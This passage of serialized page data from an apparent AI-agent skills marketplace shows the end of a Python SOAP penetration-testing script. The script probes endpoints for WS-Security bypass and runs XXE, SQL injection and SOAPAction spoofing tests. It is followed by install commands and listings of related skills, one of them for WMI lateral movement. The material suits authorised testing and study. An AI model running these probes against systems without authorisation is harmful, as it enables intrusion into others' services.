xmlns:wsu=\"http:\u002F\u002Fdocs.oasis-open.org\u002Fwss\u002F2004\u002F01\u002Foasis-200401-wss-wssecurity-utility-1.0.xsd\">\n    \u003Cwsu:Timestamp>\n      \u003Cwsu:Created>2020-01-01T00:00:00Z\u003C\u002Fwsu:Created>\n      \u003Cwsu:Expires>2020-01-01T00:05:00Z\u003C\u002Fwsu:Expires>\n    \u003C\u002Fwsu:Timestamp>\n  \u003C\u002Fwsse:Security>'''\n            }\n        ]\n\n        results = []\n        for test in test_cases:\n            if self.operations:\n                operation = self.operations[0]\n                soap_body = f'''\u003Csoapenv:Envelope xmlns:soapenv=\"http:\u002F\u002Fschemas.xmlsoap.org\u002Fsoap\u002Fenvelope\u002F\">\n  \u003Csoapenv:Header>\n    {test[\"header\"]}\n  \u003C\u002Fsoapenv:Header>\n  \u003Csoapenv:Body>\n    \u003C{operation.name}>\u003Cparam>test\u003C\u002Fparam>\u003C\u002F{operation.name}>\n  \u003C\u002Fsoapenv:Body>\n\u003C\u002Fsoapenv:Envelope>'''\n\n                try:\n                    response = requests.post(\n                        self.endpoint_url,\n                        data=soap_body,\n                        headers={\"Content-Type\": \"text\u002Fxml; charset=utf-8\"},\n                        timeout=10\n                    )\n\n                    accepted = response.status_code == 200 and \"Fault\" not in response.text\n                    if accepted:\n                        self.findings.append({\n                            \"severity\": \"CRITICAL\",\n                            \"type\": \"WS-Security Bypass\",\n                            \"operation\": operation.name,\n                            \"details\": test[\"name\"]\n                        })\n\n                    results.append({\n                        \"test\": test[\"name\"],\n                        \"accepted\": accepted,\n                        \"status_code\": response.status_code\n                    })\n                except requests.exceptions.RequestException:\n                    continue\n\n        return {\"ws_security_results\": results}\n\n    def generate_report(self) -> dict:\n        \"\"\"Generate comprehensive security assessment report.\"\"\"\n        return {\n            \"target\": self.endpoint_url,\n            \"wsdl\": self.wsdl_url,\n            \"operations_tested\": len(self.operations),\n            \"total_findings\": len(self.findings),\n            \"critical\": len([f for f in self.findings if f[\"severity\"] == \"CRITICAL\"]),\n            \"high\": len([f for f in self.findings if f[\"severity\"] == \"HIGH\"]),\n            \"findings\": self.findings\n        }\n\n\ndef main():\n    wsdl_url = sys.argv[1] if len(sys.argv) > 1 else \"http:\u002F\u002Flocalhost:8080\u002Fws?wsdl\"\n    tester = SOAPSecurityTester(wsdl_url)\n\n    print(f\"[*] Parsing WSDL: {wsdl_url}\")\n    operations = tester.parse_wsdl()\n\n    for op in operations:\n        print(f\"\\n[*] Testing operation: {op.name}\")\n        tester.test_xxe_vulnerability(op)\n        tester.test_sql_injection(op)\n\n    tester.test_soapaction_spoofing()\n    tester.test_ws_security_bypass()\n\n    report = tester.generate_report()\n    print(f\"\\n{'='*60}\")\n    print(f\"SOAP Security Assessment Report\")\n    print(f\"{'='*60}\")\n    print(f\"Target: {report['target']}\")\n    print(f\"Operations Tested: {report['operations_tested']}\")\n    print(f\"Findings: {report['total_findings']} \"\n          f\"(Critical: {report['critical']}, High: {report['high']})\")\n\n    for finding in report['findings']:\n        print(f\"\\n  [{finding['severity']}] {finding['type']}\")\n        print(f\"  Operation: {finding['operation']}\")\n        print(f\"  Details: {finding['details']}\")\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\n## References\n\n- SecureLayer7 OWASP SOAP Pentesting: https:\u002F\u002Fblog.securelayer7.net\u002Fowasp-top-10-pentesting-mitigating-soap-service-risks\u002F\n- BrightSec SOAP Vulnerabilities: https:\u002F\u002Fbrightsec.com\u002Fblog\u002Ftop-7-soap-api-vulnerabilities\u002F\n- Levo.ai SOAP API Security Testing Guide: https:\u002F\u002Fwww.levo.ai\u002Fresources\u002Fblogs\u002Fsoap-api-security-testing\n- SoapUI Web Service Hacking: https:\u002F\u002Fwww.soapui.org\u002Fdocs\u002Fsoap-and-wsdl\u002Ftips-and-tricks\u002Fweb-service-hacking\u002F\n- PortSwigger XXE Tutorial: https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Fxxe\n",{"cwe":57,"name":5,"tags":61,"capec":63,"model":64,"tools":65,"domain":38,"maxTurns":69,"nist_csf":70,"subdomain":39,"description":7,"mitre_attack":75},[58,59,60],"CWE-611","CWE-643","CWE-91",[34,49,46,45,44,43,62,42,40],"penetration-testing",[],"sonnet",[66,37,67,68],"Read","Glob","Grep",20,[71,72,73,74],"PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01",[76],"T1190","main","a91f1293287ffa9f4f1b8f486cd6e835a1568c84","skills\u002Fweb-application\u002Fapi\u002Fsoap\u002Fbypass","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace","https:\u002F\u002Fgithub.com\u002FDCx7C5","#Python","2026-09-01 11:21:00",{"source":8,"skillName":5,"commands":85,"prompt":95,"zipAvailable":96},[86,89,92],{"tool":87,"command":88},"npx","npx skills add DCx7C5\u002Fai-marketplace --skill api-soap-bypass",{"tool":90,"command":91},"bunx","bunx skills add DCx7C5\u002Fai-marketplace --skill api-soap-bypass",{"tool":93,"command":94},"pnpm","pnpm dlx skills add DCx7C5\u002Fai-marketplace --skill api-soap-bypass","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fweb-application\u002Fapi\u002Fsoap\u002Fbypass\u002FSKILL.md",true,[98],{"path":99,"resourceType":100,"resourceTypeDesc":101,"sizeBytes":102,"sourceHtmlUrl":103},"index.json","REFERENCE","参考文档",632,"https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fweb-application\u002Fapi\u002Fsoap\u002Fbypass\u002Findex.json",[105,129,151,172,194,209],{"skillNo":106,"name":107,"nameZh":6,"description":108,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":109,"categories":110,"keywords":111,"publishedAt":52},"01M71HAPZ01KQ30RKTB0FFSQ05","services-wmi-persistence-detect","Detect WMI event subscription persistence by enumerating ActiveScriptEventConsumer, CommandLineEventConsumer, and permanent subscriptions in the WMI repository.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fservices\u002Fwmi\u002Fpersistence\u002Fdetect\u002FSKILL.md",[],[112,113,114,115,116,117,47,118,119,120,121,122,123,124,125,126,127,38,128],"services","detect","services wmi persistence detect","wmi","persistence","de","process","activescript","event","subscriptions","commandline-consumer","repository","subscription","event-subscription","t1546.003","forensics","process-forensics",{"skillNo":130,"name":131,"nameZh":6,"description":132,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":133,"categories":134,"keywords":135,"publishedAt":52},"01M71HAK6JTTTS229T17WJMMCG","services-wmi-exec-exploit","Perform lateral movement across Windows networks using WMI-based remote execution techniques including Impacket wmiexec.py, CrackMapExec, and native WMI commands for stealthy post-exploitation during red team engagements.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fservices\u002Fwmi\u002Fexec\u002Fexploit\u002FSKILL.md",[],[136,112,137,115,138,139,140,38,37,141,142,143,144,145,117,146,147,148,149,150],"exploit","services wmi exec exploit","exec","remote","traffic","analysis","team","across","crackmapexec","native","command","lateral movement","read","lateral-movement","Impacket",{"skillNo":152,"name":153,"nameZh":6,"description":154,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":155,"categories":156,"keywords":157,"publishedAt":52},"01M71HAG6MHKNQV8KDZKMT4886","registry-artifact-extract","Extract and analyze Windows Registry hives to uncover user activity, installed software, autostart entries, and evidence of system compromise.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fregistry\u002Fartifact\u002Fextract\u002FSKILL.md",[],[158,159,160,161,162,163,38,37,164,141,165,166,117,148,167,168,169,170,171,64],"artifact","registry","registry artifact extract","extract","evidence-collection","artifact-analysis","collection","analyze","uncover","software","activity","digital-forensics","windows-registry","regripper",{"skillNo":173,"name":174,"nameZh":6,"description":175,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":176,"categories":177,"keywords":178,"publishedAt":52},"01M71HACR4A8XTWTTSXK4124AA","processes-token-impersonate-detect","Detect Windows token impersonation and privilege abuse including SeImpersonatePrivilege exploitation via Potato attacks and token stealing techniques.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fprocesses\u002Ftoken\u002Fimpersonate\u002Fdetect\u002FSKILL.md",[],[113,179,180,181,182,183,184,47,185,38,128,186,187,188,189,190,191,192,193,117],"processes token impersonate detect","token","processes","attacks","windows","escalation","techniques","privilege-escalation","seimpersonate","token-impersonation","printspoofer","exploitation","potato","impersonation","via",{"skillNo":195,"name":196,"nameZh":6,"description":197,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":198,"categories":199,"keywords":200,"publishedAt":52},"01M71HAABSB4Z6QFSXEG00R4RK","processes-thread-injection-detect","Detect Windows thread injection techniques including CreateRemoteThread, QueueUserAPC, NtCreateThreadEx, and thread hijacking via process memory analysis.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fprocesses\u002Fthread\u002Finjection\u002Fdetect\u002FSKILL.md",[],[201,202,113,203,181,183,204,47,205,185,38,128,141,32,206,207,208,193,117,118],"thread","processes thread injection detect","injection","memory","process-injection","apc-injection","thread-injection","nt-api",{"skillNo":210,"name":211,"nameZh":6,"description":212,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":213,"categories":214,"keywords":215,"publishedAt":52},"01M71HA7H311V5G14WMX58HQSS","processes-hollow-technique-detect","Detect process hollowing (RunPE) by identifying processes with mismatched image paths between PEB and VAD tree, or unmapped PE headers in memory.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fprocesses\u002Fhollow\u002Ftechnique\u002Fdetect\u002FSKILL.md",[],[216,113,181,217,204,47,218,219,38,128,220,221,222,223,224,225,117,118,226,227],"processes hollow technique detect","tree","memory-forensics","process-hollow","peb","runpe","image","pe-header","in memory","with","mismatched","headers"]